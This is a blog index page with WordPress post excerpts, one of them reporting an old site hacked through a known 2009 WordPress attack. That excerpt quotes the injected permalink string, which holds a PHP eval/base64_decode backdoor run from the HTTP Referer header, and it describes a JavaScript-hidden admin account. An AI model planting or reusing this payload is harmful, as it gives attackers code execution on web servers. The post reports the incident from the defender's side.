ERIC SHEFFERMAN <DOT> COM

I still have no idea what this means.

I’m currently running WordPress 2.8.4 on this site.

One of my older sites was hacked as per

http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/

and the permalinks were changed to

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

There was a hidden user named “WordPress” — javascript was being used to prevent the user from showing in the admin users section (and it didn’t show the user in the user count). My computer is running slow, so when looking at the user list this second user would appear and then disappear as the javascript executed. On a faster computer, it would have been impossible to see the hidden user. Dumbass javascript tricks.

Read the rest of this entry »

Part of the extreme power of WordPress is the ability to change the look of your entire site with a single click. But “With great power comes great responsibilty” — how do you choose a good set of colors for your theme that will work well together? Read the rest of this entry »

In my post yesterday, Making a Popup Window in WordPress, I mentioned that my theme was rendering a little differently in some browswers and that in some of them the lines of code were too wide and were being cut off. How did I know this? I don’t have a bunch of PCs, Macs, and Linux machines sitting around running different versions of Internet Explorer, Firefox, Opera, Safari, etc. Read the rest of this entry »